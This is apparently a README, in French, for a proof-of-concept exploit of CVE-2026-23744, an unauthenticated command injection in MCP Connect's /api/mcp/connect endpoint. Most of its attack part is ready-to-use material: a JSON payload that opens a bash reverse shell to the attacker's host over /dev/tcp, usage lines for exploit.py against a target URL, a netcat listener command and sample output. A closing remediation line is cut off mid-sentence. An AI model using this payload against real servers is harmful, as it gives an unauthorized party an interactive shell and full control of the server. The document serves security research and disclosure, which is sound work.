
Preuve de concept d'exploitation pour CVE-2026-23744, une injection de commande non authentifiée dans MCP Connect menant à l'exécution de code à distance et à un shell inversé.
⚠️ Avertissement : Ce dépôt est uniquement à des fins éducatives et de recherche en sécurité. L'utilisation de cet exploit contre des systèmes sans autorisation explicite est illégale. L'auteur décline toute responsabilité en cas de mauvaise utilisation de ce code.
La vulnérabilité réside dans le point de terminaison /api/mcp/connect, qui permet à un attaquant non authentifié d'enregistrer un serveur MCP (Model Context Protocol) arbitraire avec une configuration malveillante. En l'absence de validation ou d'assainissement du champ command et de ses args, il est possible d'injecter des commandes du système d'exploitation qui s'exécutent directement sur le serveur avec les privilèges du processus web.
Cela entraîne une exécution de code à distance (RCE) qui peut être exploitée pour obtenir un reverse shell sur le système compromis.
| Champ | Détail |
|---|---|
| Type | Exécution de code à distance (RCE) |
| Vecteur | Réseau (HTTP POST sans authentification) |
| Point de terminaison | /api/mcp/connect |
| Sévérité | 🔴 Critique |
| Authentification | Non requise |
| Impact | Contrôle total du serveur |
{
"serverId": "shell1",
"serverConfig": {
"command": "bash",
"args": ["-c", "bash -i >& /dev/tcp/<LHOST>/443 0>&1"],
"env": {}
}
}
Le serveur traite cette configuration et invoque la commande bash avec les arguments fournis, établissant une connexion TCP inverse vers l'attaquant.
pip install requests termcolor
python3 exploit.py -l <VOTRE_IP> -u <URL_CIBLE>
| Paramètre | Description | Exemple |
|---|---|---|
-l | Votre IP (où vous recevrez le shell) | 192.168.1.50 |
-u | URL de base de la cible | https://victim.com |
Terminal 1 — Listener :
nc -nlvp 443
Terminal 2 — Exploit :
python3 exploit.py -l 192.168.1.50 -u https://victim.com
[-] Veuillez exécuter la commande suivante dans un autre terminal :
[+] nc -nlvp 443
[-] Appuyez sur 'Entrée' lorsque la commande a été exécutée...
[+] Envoi de la requête d'attaque...
Une fois la requête envoyée, le listener sur le port 443 recevra la connexion inverse avec un shell interactif du serveur compromis.
/api/mcp/connect avant de les traiter..
├── exploit.py # Script principal de l'exploit
└── README.md # Ce fichier
Développé à des fins de recherche en sécurité offensive par Jorge Arana Fedriani.